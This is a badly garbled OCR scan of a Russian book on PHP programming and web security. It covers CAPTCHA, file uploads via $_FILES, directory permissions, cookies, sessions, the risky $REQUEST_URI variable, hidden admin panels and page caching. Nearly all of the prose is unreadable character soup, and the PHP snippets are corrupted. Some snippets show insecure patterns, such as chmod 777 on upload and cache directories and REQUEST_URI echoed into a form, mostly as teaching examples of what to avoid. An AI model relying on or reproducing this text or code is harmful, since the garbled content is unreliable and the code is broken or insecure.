MMEHHO HEOGXOIINO BHIPE3ATh MOMBITKH OGPAILHIS K < WM >.

3.18. CAPTCHA

CAPTCHA pacumpossisactes xax Completely Automated Public Turing test to tell
Computers and Humans Apart, STo B IEpeBOTE O3HASGET "MIOTHOCTHIO ABTOMATHSHPO-
Bt yGHH TecT THOPHHT /UIA PASIHAHA KOMTILIOTEPOB W ozei”. B Poccu
AaHHbH TEPMHH OEH HACTO POMSHOCAT TAK, Kak O NIPOMSHOCHTCA Ha aHTTHACKOM —

'VKE I3 Ha3BAHHA TOHATHO, HTO 3TO TECT, KOTOpHiHt OTAH TAPAHTHPOBATE, §TO Oepa-

L BBITOTHAT HMEHHO YE0BEK, & He KownbioTep. B HTepHETe Takas nposepka 04eHb

aKTyaTbHa. JIET0 B TOM, HTO VIOYMBIUUICHHHK MOAET HATHCATS MPOFPAMMY, KOTOPAS

‘GY/IeT OTIPABIATS (Y1 WIH FOTOCOBATS BMECTO HE/IOBEKS, HAKPYUHBAR CHETIHKI PO~

rpawnio. Xopowas nposepka CAPTCHA TapaiTHpyer, Mo Onepaiiiio BIOTHAT

MMEHHO EOBEK, @ HE KOMTIBIOTEp, @ SHQHHT, AIOYMHIULICHHHKY NPWICTCA NpWIAraTh

coeTBenHsie ycHHS, oG ee MpoifTH.

Baw yxe MHOro pas serpesaic Tecr CAPTCHA Ha paswbix caifrax b Bie:

O KapTIHOK ¢ UH(PaMH WiTH GyKBaNH, KOTOPHIE HYKHO BBECTH;

O 3a7aM (Ha1e MATENATHIECKOH), KOTOPYIO HYAHO PEUIHTS, KTH BOTIPOCA, Ha KOTOp
HYKHO OTBETHTS.

To, 10 CAPTCHA 3aCTanTHeT o308aTeN% BHMOTHATS KAKHE-TO AEHCTBHA pykann,

ABAETCR ONeHt, HKpOEKTHBHAIM METOTOM 3AUINTH OT HAKpYTKH, dTyAa Wi criawa. Tlo-

e KAAIO0H MOMITKH TPOrOI0COBATS, MOAB3OBATEINO MPHXOTHTER B OYEPEHON Pas BBO-

IHTE KOT WIN OTBENATS Ha BOTOC, TIOSTOMY, 410GH! oTaas 1000 ro0coB 3a HiTEpe-

Cytoutnk oteer, npuaerca 1000 pas mpoxomuts Tect CAPTCHA. Ecu y pac wa calfre
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3arpy3Ka MOAET 3aBEPUINTECA OLIMOKOF H IIPH HEXBATKE NIPAD HA SATHCH B KATATOT A1
nOMk30BATEA, ¢ MpaBAMH KOTOpOTo paGoTacT Web-ceppep. OGBINHO % BCTpeHaI0 CHET-
M, e Web-CepBepsi paGoTaioT o MMEHH NIOTB0BETEA W, y Mers Ha moeit MacOS
370 Wz _www. EGIH Y 3TOTO MOTL30BATEIIA HET paB Ha KATATOT, B KOTOpHiH B XOTHTE
CKOMHPORATS AaHHHE, TO pail COTATS Gy IeT HETB3.

Ty e HYAHO CKE3TS 1 O MIPABAX A0CTYTIa, BElh 3TO BEe & GEI0NACHOCTS, © KOTOPOH
M TOBOPHM B ITO KHHTE. B CLIEHAPHH BHIIIe & TITAIOCh COXPAHWTH GaliTsi B naTke
Ivar/wwwihtml/files/. Ecan s cosmasann nanky /var/www/htmlfiles/ nox yeerok
3ATHCHIO CBOETO TIOTH30BATETA, TO, CKOPEE BCETO, TOEKO BEl HMEETE NOTHKE NpaBa A
PaGoTH ¢ 370K NANKOH, & TaK e HEKOTOHIE TPaBa GYIYT Y TeX, KTO BXOIT b Bamy
rpymmy. TIOSI0BATE:S WWW B STY TPYIITY, BEPORTHEE BCETO, He BXONHT # He AOTAEH
'BXOINTS, M 110 YMOTHaHIO 3aTPY3KA 3AKOHHTCA OLIHOKOF.

(OieH’ HACTO TaKse MPOGIIEM! PELIZIOT, IPOCTO YCTAHOBHB MAKCHMATBHBIE TpaBa Ha 3Ty
nanky. B Linux-ceTeMax nofoBHOe peliacTcs BHIOTHEHHEM creyioueH KoMans:
chnod 777 fvax/hees/cad/£42es

Tipasa ocTyna 777 O3HAYAIOT, TO Teneph K YKa3aHHOM nanke Gyzer MMETh mOTHBIH
206TYI KT0 yroHo. KEAATeIsHO TaKOro He A€1aTs. Jlysue TOMERSTS BIQZEbIIA NATKH,
WTOGHI HM CTAT MOTSI0BATEITs WWW, M TOT1A OH CMOKET A¢AaTh ¢ Hel 410 YTOIHO, & ¢~
TaTHHBIM PaIpeENO Gy AET TOMbKO HHTaTS,

chnod wiziany /var/sane/henl/iles

B npHMepe BHILe 5 HAMEPEHHO ZIOMYCTHT OHY NorHecKyio ourHGKy. ECTi y Bac 5os-
HMKIH BONPOCH! © KOz, 5T0 X0pouio. [1poiea KO b ToM, 40 Msi KOTHpYeM i 13
BpeMeHOf NankH B ¢ IOCTORHHOE XPAHWTHILE. 1 MHOFO pas BCTpeHan Takofi Koz,
¥ HEFO €CTh HeCKOTsKO MPOBTIEM M HH EIHHOTO TpEMMYLECTBa.

O Mt Takim 0Gpasow cosIaeM KOMio, H b CHCTeMe GyZeT Asa paiina, onHH #3 koTo-
PBIX OCTAHETEA BO BpesenHOM nanke tmp. KTO-TO MOKET CKaSATS, To KOMH He Ha-
BPEINT, HO 3TO TOTISKO H3-3a OTCYTCTBMA BOOGPEAEHMA. DaiTb! BO BPEMEHHbX nan-
K8 TAKKE MOTYT HCTIOTb30BITHGA B GTAKAX Ha CEPBEPHL.

O Konmposaie MpOHCXOTHT MeTeHHee mepevelieHns (aiin

YKL KOTHPOBAHHS Ty le IAMEHHT CIIELHATHHO IpEIHASHAYEHHOR A NOTOGHX
MAHHTYAUH move_uploaded_£11e (). Y 9TOH GYHKUMH 188 napaweTpa: nepabiii — 410
KOTHPOBATS, & BTOPOH OMPEETACT, KYZA KOMHPOBATS,

ECH Bb1 HCTIOTB3YeTe AOGATbHEE TiepeMeHHsie (113 9TOro b KOHGHIYPAIHOHHOM dali-
e THpeKTHBA. registes olcbals JOMKHA GBITH PABNA or), TO K JTHM AE MapMCTPaM
MOXHO NOTY4HT ZOCTYT: 4€pes CAEAYIOUME NiepemenBie:

O stile1 — nun spevenoro aiina;
O sti1e1_nane — HeA alina Ha cepepe;
0 seiter_size— pasvep;

0 stilel type —Tm aitna.

Msi yXe TOBOPHITH, 4TO XOT AOGATSHME TiepeMEHMBIE H MOTYT GhiTh Gesomacibivs,
€CTH NPABMTSHO ¢ HHMI PAGOTATS, HX BCE Ke TySlle OTKTIOUATS, IOTOMY 'TO CAMBIM





index-82_1.png
8 rnasaz

Ir MMEET CMBCH YCTAHABTHBATE KaK Pas 7% WASHTHUKATOpOB cecci, ToTbKO
ceppepy paspeltieo aHTaTS STOT WieHTHHKATOP, a JavaScript He AOTACH HMET
A06Tya Kk Hewy. Tak MOKHO SAILINTHTS NapaweTp or ataki XSS.

B 3T0M NOpAAKE YKISHIBAIOTCA COOTBETCTBYIOUIHE MApaMETPh pH Cosaarmm cookie.
Hirax, ama cosmanis MpHMENSCTCA yRKINR setcookie (), KOTOpAA B OGILEM BHIC Bbi-
FARIHT CeTYROUMM 0GpasoM:
int setcookie(

string cookienane

{, sering vatue]

[, integer 1itetine]

tring pach]

(, string donain)

€, integer secure]
)

Tocmorpire Ha napaverpsi. Tleppil — 5To A NCPCMENHOF, KOTOpYI0 HyAGHO 3ari-
ca b cookie, i OH ABIACTES OGTATETSHAN, OCTATLHHE NGPAMETPHI HEOTATETLHA

O value — Haseime nepevenno;

O 1ietine — pews AuH;

O pach—nyms;

O demain — nowen;

O secure — napawerp GesonaciocT. Tlo YMOTHAHIIO PaBEH HYTO, HO eCTH YCTaHO-
B 1, 70 10 OTpsITOMy mpoTokony HTTP nepeasa aiia Gyze sanpeiera.

Be 570 Mt yAe PACCMOTPEH,  Tenleph HaM MPEACTONT MOMAKOMHTLCH Ha MpAKTHKE.

 yeranowKo cookies  paGorofi ¢ wiw. Paoty ¢ cookies myuue pcero peanionbisats.

B Cawow Hasane daitna cuieHaps.

Ecan 10 PHP-kona, ycranamtwsaioutero cookie, Gyzet npweyretsosats HTML-xon, To

Ha CTPAHMLLE MOXET NOABHTCS COOBILEHHE 00 OUIHOKE TPHMEPHO CIEAYIONIETo BHAX:

Warning: Cannot add header information - headers already sent by (output started at

Jvar/www/himl/1/cookie.php:8) in /var/www/himi/1/cookie,php on line 11

Buumanue: He wozy doGasums ungopwauoo 3a20106Ka — 3azon0sKu yoee omnpasiensi

(804600 naam o /var/www/html/I/cookie.php:8) 6 fvar/wiww/him/ I cookie php

& cmpore 11,

HTOGH He CTOTKHYTHCA ¢ TAKOH OWHGKOW, BCETAA MHUINTE KO HCTIOTH3OBAHHA CEAHCa 1
yeranosw cookie b cawo Hasae, 10 HTML-Koza # A0 nomkmoseHHs daitios ¢ no-
MOUIO requixe WIK include, TA€ Takoke MOKeT Gbih HTML-Koz, H3-3a KoTOpOro npo-
W3OHTET OWIHGK COXPAHENHA IAPAMETPOB 13 THCKE MOALIOBATES.

Hirak, A npHMEpa HamMuieM CuEHApHH, KOTOPHIH GYIeT OTOGpEXATS Ha CTpaHMLE
KOTHUECTRO c€ POCMOTPOB KOWKPETHEIM NOT30BATETEM. JUIA STOTD Y MOTH30BATENH Ha
KOMTIHOTEpe B cO0Kkie HYXHO COXPAHITS UETOMHCIICHHYIO TIEPEMEHHYI0, HAYEHHE KOTO-
PO GYCT YBEMHHMBATECS Ha EAMHMILY € KEKBIM TIPOCMOTPOM.
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Ho A@Xe HECMOTDA HA TO, HTO MONB3OBATEINH MOTYT H He SHATS, Tle HAXOIHTCA NaHes,
‘AIMMHHCTPHDOBAHIS, K KOy TOH HaCTH CaliTa TOAE HYHO TIOIXOIHTS €O BeeH Cephes-
HocTsio.

ECai XaKep KaKitw-11G0 OGPA3oM MOTYSHT 1apoils aTMHHHCTPATOPA HH MOAEPATOPG,
TO B JOCTATONHO GHICTPO CMOKETe OPAHWSHTS €0 NeHCTBA IPOCTHIM MepeHMEHOB-
HHEM KATATOTa CO CHEHAPHAMH AIMHHHCTPATOPA. B STOM Cyac XaKep HE CMOXET Hi-
HETO CIENATh, €C He GYIET SHAT, T11e HAXOIATCA HyKHbIE €My dais. Tlepennienona-
HHE TIOSBOTHT BPEMEHHO OCTAHOBWTS XAKEDA, H I0CIE STOTO MOKHO IPOSBECTH aHATH)
B TIOHCKX YA3BHMOCTH, KOTOPOH BOGIIOTB30BATICA IIOYMBILTEHHHK.

Pa3 YK Mt 30TpOHY.TH Tewry AHCTEMH AIMHHHCTPITOPA BO BPEMS BYIONA, XOUETCS 1T
COBET Ha ocHOB THUHOTO OnbiTa. Pakkue 5 paGoTan ¢ GecrnaTbiv dopymavs phpBB
1 IPB (Invision Power Board). Ouet Xopoue popywsi. 31 HirayTh He Xoty ockopSHTS
W OGWIETS HX GBTOPOB, HO 9TH GOPYNbI TIOMYIADHEL, H M0ITOMY XaKEP! PEryIAPHO
HAXONWTH B WX pasube owhOKH. Koria ommOKka okasimacTca KpTHANOH, Boe
FIOTSIOBATEH TAKHX GOPYMOB CTAHOBATCH YASBIMHIMH

Ec pa hopyM BUIOMATH i Bbi 3AMETHIH HETPABOMEPHBIE IEHCTBIS, TO HEMEVICHHO
nepemvenyiiTe bopyw. TTyCTs O OKEXCTCA Ha KIKOS-TO BPES HEOCTYMHBIM, HO 3210
OCTaHETCA ebiM, Terleph OGHOBYTE CUEHApHH, “TOGH HCTPABHTS OUIHGKH, W H3MEHHTE
NapOTH aAMHHHCTPATOpOB. TOTKO TOCTE STOTO MOKHO BOCCTAHOBHTS HMA KATAIOT
© GOpYMOM, TOGH! IOTS3OBATEAM MOTAH ¢ HIM PAGOTATS.

Taksw e 0GPaIOM HEOGXOTHMO MIOCTYIIATS © OGN GRHIAMH clieHapHe, KOTOp:
OKaATHCE MPHAHHOH BYIOMa. UALLE BCERO 5TO GHBOT CIEHAPHM I3 NIZHETH AIMHHHCT-
PHpOBAHHS, TIOTOMY ¥TO 37€Ch HAXONHTCA ONACHMH A1A Cepnepa koa, Dai, crasuih
MO BYTOMA, ZOTKEH GBITH IEPEHMEHOBIH HIH AKe YAATEH ¢ CepRepa (€cTh y pac
€CTH pesepRHas KO Ha APYTOM KOMMbIOTEpE). 3aTeM HYAHO HCTIPABHTS OLIHOKY W
BoccTanoHTs Gain.

Hiora e nowemaliTe name AMAHHCTPATOpa b nankw TAna /admin, /cpanel. Bood-
e KERATEsHO, ATOGH MR GBLTIO ABCOTIOTHO HEECTECTBCHHBIM H, CACIOBATETBHO, He-
AOCTyMHBIM 2118 MOXGopa. Hampiyiep, y MeHS MyTh K Nanein aIMHHCTpaTOpa Ha caire
MOeT BHIIAZETS MPHMEpHO Tak: etps//www.funniestworld.comzizibu/, re zizibu
a6COOTHO Hidero He SHAHT, & MIPOCTO TIEPBOR, 4TO THILTO B FOTIOBY.

Tex, K10 Gpociica mpoepaTs myTs hetp://www.funniestworld.com/zizibu/, crewy
PaI0NAPOBATE — ITOT MYTH He CYILECTBYeT. B PEATHHOCTH NaHETh AIMHHHCTPATOPA Ha-
'XONHTCA B IDYTOM NATKE C HE MeHEe TIYTIHM HEHEM.

3.17. OnacHas nepemenHas $REQUEST_URI

B pasd. 2.12.1 Mt ACCMATHBATH TIEpEMERHIE OKPYAEHIS, H CPEAM W Goita oz
ot 2051183 nepemenias S7EQUEST. URL. He 10nepsliTe JTOMY NapaMerpy, OTowy 'mo
XaKep MOAeT 7€TKo TIORTHATS Ha Hero. JlOMYCTIM, y Bac eCTh cAEAYIOUUi KO pop:
Print ("<fom action=\"http://", SSERVER,_NAYE. SREQUEST_URI\"
method=\"post\">") ;
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HOCTs, aliil JOTKEH SATPYAATHE B Ges0nacHoe MecTo Ha cepacpe. H Guuno maiizeHo
BETHKOTEITHOE PellieHHE — NOGE HOKATIA KHOMIKH OTIPABKH ZANHBX (Gaiin 3arpyRacT-
4 BO BpEMEHHBI KATAIOT, H TOTHKO TOTAA 3aIYCKAETER YKASQHH CuieHapHH.

W5 CUEHApHA M1 MOKEM YBHIETh JaHHHE Galina HEPes MACCHB §_FILES. JTOT MAccHB
swaseTCs ABywepHsN. lepBbii YpoBeHs OMPENETHET HMEHA TOEH, B KOTODHIX HAXOMAT-
A napaveTph Gajina. OfiHa GOPMA NOKET OTIPABTATE HECKOTHKO (ailion, MOSTOMY
5 FLES(nane) yKawBaeT Ha wyKHisi Hav daitn. B Gopwe, omHcanHOR panee, mose 21
BROZa HMEHM (baiina HIIHBACTCR £11e1, M0ITOMY 3 CHEHapHS K STomy aiiry oGpaua-
eMeA TaK: §_FILES(Eilel"].

Bropoi yposes onperenser choficsa sarpykennoro daira. Jieck ects creyioute
meweHT:

O cop_nae — MR BPeMENHOTO ailna, Kyza Ghun sarpywen daiin noTs30BaTens;

O nane — UM Galina HCTONHHK Ha KOMITHIOTEpE-KIHEHTE;

O type — v aiina;

0O size — paswep daiia.

HITax, ToGbt YWIETS HMA BPEMEHHOTO $afiia, KyA GHuTH Sarpy e Zane, Hank-
wew: §_FILES ("€ Le1"] ("enp_nare").

Ho 370 eue e ee. Bpewennsii Gafin wa UNIX-cepBepax Saliie BCero costaeTes b Kata-
n0re /tmp, KoTOpHH ABIRCTCA OGMEAOCTYMHHM. B HETo MOTYT MHCATS BCE MOTK0BATE-
M, 70 HeGesonacho. K Towy e, BpemeHHbli (bailn MOKET GbiTh y1ae CHOTeNo. Ha-
MHOTO S{peKTHBHEE OPFAHIIOBATS B CLEHaPHH KOMHPOBIHHE TOTO (paiia B CrieLHATs-
HO BhueeHHIH 1% aHHBX LeneH KaTator.

Ceyiouih MPHMEp MOKATHIBAET, Kak MOHO IOYHTS pai O MOTBIOBATENS, CKOMH-
poBaTs ero b Katator /var/www/html/files W oToGpasHTs HibopMatueio o aiire:

<poEile Size: <2- 5 FUES("filel"] ["size"] B</p

<poFile Type: <= §_FILES["filel"] ["type"] P</p>

<poFile ane: <= $_FILES("Eile1"] ["nane") ></p>

<p>File Temp Name: <2~ § FILES("filel"] ("tmp_name*] 2></p>

L€ (copy(5_FILES["File1"] ["trp_nane"],
*/vax/s/benl /£i1es/".$_FILES("Eile1"] ["nane"]))
print ("Komposane sasepues

else
print ("Omicka xompovais aiina 1</B>7) 5

3arpysKa MOeT GhiT OTIITIONEHa B KOMHTypaUHOHHOM Gaiine php.ini. OTkpoitre SToT
i W poBepsTE AMpeKTHBY £ 1e_uploads. TG y BAC GHUIA BOIMOKHOCTS 3aIpy-
KaTh aliTst Ha cepeep, STOT NAPAMETP AOTIKEH G, pabeH on. ECIH BALIM CUEHAPHH He
SATPYKAIOT AAHHHE, TO YGGIUTECE, 'O O PABCH O£, “TOGH BUIOMUUK L1 He B co-
cToAHMH wcrionk3osat PHP W 3arpyswrs dafin Ha cephep.
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<aphp
session start();
print (*Texyuee s nonsosaren:

. 5 _sEsSTON["user™]) s

Bo 5T0pofi CTpOKe Mut 3anyckaew cealc, a TpeTheli MIPOCTO BHBOTHM Ha SKpaH Corep-
KHNMOE TIEPENEHHOR 5 SESSTON|“usex"). ECTH NOTB30BITEIS CONPAHIT CBOC Wy B CEC-
HH, TO M 61O YBIIIM B TOM CUCHAPHM He CMOTPA Ha 1O, 470 A $aiina OTIYAETER
T T0r0, KOTOpOE NIOMLIORATEND COXpaHILL. CECCHA HE TPHITSHIBAETES K OTIPEIETEHHONY
afiny PHP-x01a, oHa cossana TOTBO © TEKYILUM NOT0BATENEN.

Samycrure b Gpaysepe (ailn cuenapws. BBeIHTE MM MOTH30BATENA H HAKMHTE KoMl
Ky OK. B 310T MOMEHT CeancoBoil nepewentoli GyIer npHcBoeHo swasene. Tereps
nepefiziTe no CeaiTke i YGeaHTeCS, TO cafT OTOGPIRGET BBEACHHOE HS.

(CeaHCoBIC MIEpEMEHHbIE BTOMATHYECKI COXPAHAIOTCA HHTEpNpeTaTopoM PHP, W Ham
He HYXHO 11 © ew 3a60THTHeA. Ho Kak 207r0 Aansie GyxyT coxpanaTica? Tposepwts,
AoCTaTOHO MPOCTO — saKpoiire Gpaysep u cHopa sarpyste daiin 12-17.php. Ha sror
A3 HMEHH OTHI0BATENS HEr. XOTA BPEMEHH TIPOLLIO HEMHORO, HO CETHC HIMEHWICA,

W Terieph, MepeMENHa3 MyCTa. IO SHASHT, 4TO TH K&KIOM ATYCKE CO3AeTCA HOBbiH

HezoeTaTok Galina 12-17.php B TOM, TO HET TIPOBEPKH, YCTAHOBTEHA TH TEDENEHHA.
JlasafiTe MOTHPHUMPYeM KOZ, Ka TioKasato B crire 2.17.

Twcrine 2.17. Moy enwe CoaHCOROR NGPeMeNHOR ¢ TPOBGPXOR (OTOBHOCTH NepeMeNHON |

<zphp
session_start();

<hma>
<nemt>
<head>
<meta charset="utf-8">
</head>
<body>
<zphp
session start();
if (15_SESSION["user’])
f
die("Tpetyercn a
l
print ("Hello:

opusaw”) ;

s_sEsSION"user']);

hrcpr<center>
<potiackish PP
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HET PETHCTPALLIK, HO €CTS TOT0COBAIHE, TO MPHHHMAITE PESYIETAT OTIPOCA TOTHKO 10~
le IPOXOKIEHWS STOTO TecTa. B 9TOM CTyHae PERyBTATH BALIAX OTpOOB GYAYT XOTh
HeMHOro Gk K npase.

1 wernoawsyio ecr CAPTCHA Ha Beex 610rax, “TOGH SauiIaTh OT G1yaa CTpasHIs
KOMMERTHpOBaHHS  opwst 0GPATHO coasH. HANDHMEP, ec HTOYMBILIEHHHK 3aX0-
HET "3aMYCOPHTS" KAKYIO-TO JaMETKY Ha MOEM GIOTe JCCATKOM HEATCKBATHEIX KOMMCH-
TapHes, ewy npwzeTca 10 pas BBOIHTS WHCTA NpH MpOXOAKIeHHH Tecta CAPTCHA, a
Mie — Beero b 10 pa WETKHYTS MHILIBIO, STOGH YAATHTS Mycop. JaTparst io-
YMBULTEHHHKS HECOMIMEPHMbI © MOWMH, TIOITOMY HHKTO HE SaHWMAETCR TAKHM XYTH-
TancraoM.

B peanswsix npoekTax 5 pexomentyio Henomssonars Google Capteha. Tonekossii -
FaHT paspaGoTan JOCTATONHO XopouIKi API, KOTOpHi Bl MOET HCTIOTH30BTS 1A
7070, 0B oecneuwTs sauwTy ceowx caifro. Ha caifte Google ecth pennonentas
IOKYMEHTALIA © TOM, KaK WETOTB30BTS WX KATTAY, H OTIHHSC TPHMEPS! KO 51 ca
HAN IEEBOTHTH HEKOTOPSIE CHOW CalfThi Ha WX KAy, OHAKO ONEHb S4CTO HCTOTh-
3y10 H CBOIO PEATH3ALINO, KOTA MHE HYKHO HTO-TO MPOCTOE, HO IpH ITOM XOPOILO HH-
TepHMpYIOLICECA B IM3ATH MO CTPRHHIL.

TIoGKokKY 3Ta KHHFA IOCBALIEHA MPOTPAMMHPOBAHHIO, & NIDELIATAI0 HATIHGATS COGET-
Benyio peanisaumo Tecta CAPTCHA. HTax, b Kadectse mpHNepa peaisyen Jaiuy
LUAPAMH, HADHCOBIHHBINH Ha KAPTHHKE, W 100ABHM Ha Hee Uiy, JUia 370ro b PHP Mt
MM TPOTPMMHO CO3IATS KAPTHHKY H HAPHCOBATE Ha Heil LWAGPSI (I GyKesi, Wi
caoma) Wy,

Kawoft uryw obiGpars?

03 MoHO MOKPITS LB  (BOW TOMKAMH, TOTSKO BOT TOMEK /U COVIAHHA TOTHO-
LEHHOTO LIyMa TIOHQIOGHTCA 0€HE MHOTO. B TAKOM CTy%ae PHIETCA MpHMEHHTS
LK, 4O ABIAETER PECYPCOEMKHM AeHCTHEN.

O [lan covianma IyMa MOAHO MEMOTBI0BAT KaKof-HHOY rpaECKHi aTTOPHTM,
TpHwepHO Kak B Adobe PhOIOShOp €CTs (HATP 1A TIDCBPAUICHHS KaPTHHKH B Ly,

O Moo 3apariee MOATOTOBHTS KAPTHIKY C LIyNOM W PHCOBATS CEKpETHI KO Ha ce
noBepXHOCTH. YTOGH 310 270 XOpoUrHii PESYTAT, KEIATELHO, HTOGH M W ot
A MOATOTORTEHHOF KapTHHKe GBUA B TEX A€ TORAX, “TO W CAM KO, KOTOpI Mt
Gyzem pHcosars. B 3TOM CTysae Bee GYIET CAMBATECH, H PACTIOSHATS 0GPa3bI NpO-
rpannino Gyzer npoGaemamrao. Ho w32 Toro “mo kapriika doHa craTusa, Bnoi-
He EaTiHO HANHCATb CueHapiH, KOTOpli IPOTPAMHO GYZeT OWHILET HIOGpaKe-
e or wrywa.

O MoXHO HapHCOBATS HECKOTSKO ki TIOBEPX CEKPETHOTO Koza. JIOCTATONHO TATH
MM, TG HIOGPAUKEHHE NOTYHHAOCS JALIYMICHHBIN, HO HpdEKTHBHOCTS TOT0
METONA TaK AK€ ARTEKA OT WIEATA. 3A0YMBIULTEHHHK MOKET HATTHCATS CUEHAPH, KO-
TOpHif GYACT PACTIO3HABTS THHMH Ha WSOGPEKEHHI W YIATSTS HX.

100k BATOMILIMKH HQUATH THCATE MPOTPANMY 110 PACTIOTHABAHHIO CEKPETHOTO KOTa

CAPTCHA s pamero caiira, o AOTAeH GbiTb ek romyipHbiv. Mbi Gyzew nph-

AEPAHBATICA MPHHUAIIA PAsyMHOH JOCTATOSHOCTH H PEATIHIYEM nocTe il H) ONHCaH-
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arpysuTe ¢ NOwOLBIO Gpaysepa ITOT cuieapH# W ONPOGy#iTe oGHOBHTS CTparHLLY. it
VBHIHTE B KOHIIE CTPAHMI COOGUIEHHE O TOM, 4O CTPAHHI BIATa 3 KA

ECIIH BB PEUIHTE HCTIOTH30BTS STY ATOTOBKY B CBOWX POEKTAX, TO TIEPEHECHTE ByHK-
WK ReadCache () W WriteCache () B OTIETBHA MOIYT W TOTKTIONANTE © MONOUIHO
YHKIAH include ), HTOGH OTHH W TOT e KO HE PAIMHOXETH BO BCEX CUEHIPHAX.
A mysme GyzeT ke OBEAMHATS 9TH B METORA B KTACE.

3aroToBKka neHCTBHTENEHO YIGHaA. ECTH HYKHO CO3IATS elte OIHy cTaRMIL caiiTa,
HATDHNEp CTPAMILY KOTAKTOB, TO €€ KOA AO/IKEH BHIAAETS CAAYIOMM OBPAION:
include (*£unc. php')
11 Ccxomwon xox crpawust
if (ReadCache
!

ob_seart();

Print ("<CENTER><B>Kownaxrws/5></CENTER>") 5

Print ("<Potnonis comsamson o wio: horrificevr-online.u");

WriteCache ("Contacts*, ob_get_contents ()15

o5_end_€lush ()7
B wavane cuenaphs noakmouacTe paiin func.php, B KOTopOM AO/KH! GHITh peario-
Db yHKIIAM ReadCache () M iz teCache ()
C oMOIISO Kouia Web-CTPAHWIL Bt PEATEHO TIOBHCHTE CKOPOGTS paGOTS ClLEHapiA, HO
TIOTEPAETE BOIMOKHOCTS Co31ATh CAViT, HATPATCHHAE Ha NOTH3OBATETA, . €. TAKOH, Ha
KOTOPOM KeXauif TIOTII0BATEA, MOKET CO3IABATS COBCTBENHOE IPEICTABTEHHE CafiTa.
ECH Bl XOTHTE OPTaiIOBaTS BOIMOXHOCTS BAIGOPA PACLIBCTH CaifTa, HCTPOKH OTO-
GPEKEHIA ONIDENENEHHEIX SacTeHl 110X MOTHIOBATENS (HANPHED, B SABHCHMOCTH OF
FIPEATIONTEHHA MOTLIOBATENS, MOIBOTATS €My BHIGHPATS HYXHHE KATErOPHH HOBOCTEl
1A OTOGPAXEHHA Ha 1RO CTPAHHILE), TO PEATHIOBATS IOTOGHOE ¢ TIOMOLIBIO KOUIH-
POBAHI JOCTATONHO CIOAHO, & €CTH H YIACTEA, TO HPEKT GYIET He TAKHM YA  X0pO-
.

4.5. OnTumusaums unu 6esonacHocTsL?

OcHoBHAY IPOGIEa OTTHISALIAH 3AKTIONAETCA B TOM, O ONTHMHIALIAA W Gesonac-
HOGTH — Halile BOEro MpOTHBOpeBE MORATHA, Ko, KOTOpSill HE MpOHIBOT HHKAKHX
TpoBepOK, paGoTa€T GHCTpee, NIOTOMY HTO G€3 MPOBEPOK KOX MOKET NPHBECTH K OLIHOKE
B IPOTPAMN, HTO, B CBOIO OYepel, TIOHHIHT GE30MACHOCTE.

Kakizas MpOBEpKa — 5TO aTPATH! MPOUECCOPHOTO BPEMEHH H IAMELTEHHE PAGOTH 1o~
rpawmsi. Ho ecin 3a60THTLCA 0 GE30MACHOCTH KOTa, TO MPOBEPKH THLIHHMK He GYIYT.
Hao MpOCTO NOCTPOHTS X MpaBHTsHbiM 0GpaON.
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2.13.1. Ceawcur

PaccmOTpHM napameTpsi Ha npimepe caiira ¢ asTopwsauei. Koraa nonwsosatens no-
T CBOC HA, SOTKEH HAMHHATHCA Ceac. TETIeph M MOKCM HCTIOTBIOBATS CaHCOBHIC
TIEPEMeHIte, KOTOpHIE GYAYT COXPANATLCA IpH MIEPEXOAE OT CTRANMLIS K CTPAHMLE, 110~
Xa TIOTIOBATEAD He 3aKPOET OKHO Gpay3epa. JLTA JaYCKa Ceaica HTIOTL3YETCA dyHK-
WA session_start (). EGAM QYHKUMS BHIIOTHKIACH YIAWHO, TO PEIYABTATOM GYET
xue, HHAte faise.

‘Teneps MOHO cooBuuTs MiTeprpeTaTopy PHP, Kakie MIEpeMeHHie yHo CoXpaIsTS
B ceatce, MOMECTHB HX B [IOGATHHbIH MACCHB §_SESSTON:

§_SESSTON UenTepenessiof] = Snavercre:
Tlociie 5TOro Bee nepemeHHBE, KOTOpHE B! OMECTIH B Cearc, GYIYT A0CTYMHb <O
BceX CTpAHMIL Baliero CalfTa B TevEHHe BCro Ceanca.

TIpONHTaT, 3HaWeHHE MOKHO, OPATHBUIHCH K TOMY KE OMEMEHTY Maccusa
5_SESSION ibenTepeneaiod).

PaccuoTphy mpiwep cearica. Jlas 31010 costamn daita 12-16.php, B KoTopow Gyzer
{popMa /UIR BROZA MMEHH NIOTBIOBATENS, A ITO HMA GYIICT COXPANATECH B CEAHCOROH M-
peventofi (e 2.16)

[ Mwcrunr 2.16. Coxpanenme nepemenno 8 ceance.
<wpnp
session_start();
if (isset (s_POST("Usename’])) (
5_SESSTON["usex"] = 5_POST{'Usertane’)
'
Print (*Texyuee s nonssosarens:’ . §_SESSION["user"])

<fom action="12-17.php" method="post">
Then nomusosavens: <input name="UserName® />
<input. type="submit® name="sub" valuo="Go">
</torm>

<a href="12-17.php">Click me</a>

@opa 113 BRoa e MOTHIOBATENS nEpeAaET AaHHE cavoi cebe. TIpoeto He Xo-
seTeR yeTORHSTS 307y H CoytaBaTh MU dainei B peatsHOM NpHIOCHHH hopya
NOET OTITPARIATS AAIHSIE  APYTOM CLEHPHIO.

Haun PHP-xon costaeT ceanc, # NOCAe STOrO NPOMCXONHT MpOBEpKE: ecn
5_POST("Usexiiane | CYUIECTBYET, TO COXPAHWTS €10 SHAYEHHE B CECCHH.

Ha Gopwe Takoke ecth ccnunka Click me wa Gaiin cuenapws. TTpi niepexoze 1o 3roff
CCBTKe GYET BHNOTHATEC ClieHapHH, B KOTODOM Mt OGPATHMCA K CeacoBofi nepe-
weswoR. B 1w daiiie Gyet ceayiouii Kox:
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4, 3 €CAM IOTOM MPOHCXOHT OGPALIEHHE K YAe HCTIOTEIOBANHOMY PaHEE KOAY, TO OH
AIPOCTO HCTIOMHAETEA Ge3 NOBTOPHOM KOMITHIALUAH.

Elle O1HH HEAOCTATOK MHTEPIDETHPYEMOCTH — TaKHE NIPOTPAMMBI TIOCTABTAIOTCS B He-
XOIHbIX KOaX, W OGO/ IPOTPAMMHCT CMOKET YWIETS Ball TPYA H HCTIOTHI0BATS
B cBowX eAX. Ho 370 TOTHKO €cik Bl GyeTe PAcTIpOCTPAHAT CBOM cuiehapis. TTons-
0aTEAN BaUIErO CaifTa He CMOTYT YBACTS HCXOMWHI KOX, TIOTOMY o B Gpayaep
nonaact v pesysrar win HTML-nokywmenr.
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11 oywases samicn o
function WriteCache (sCachetame, $Cachebata)
«
Sct = @fopen ("cache/SCacheName.hta", ")
or die ("Can't urite cache”
fputs (scf, ScacheData);
felose (scf);
chmod ("cache/SCacheNane.hta®, 0777);
'

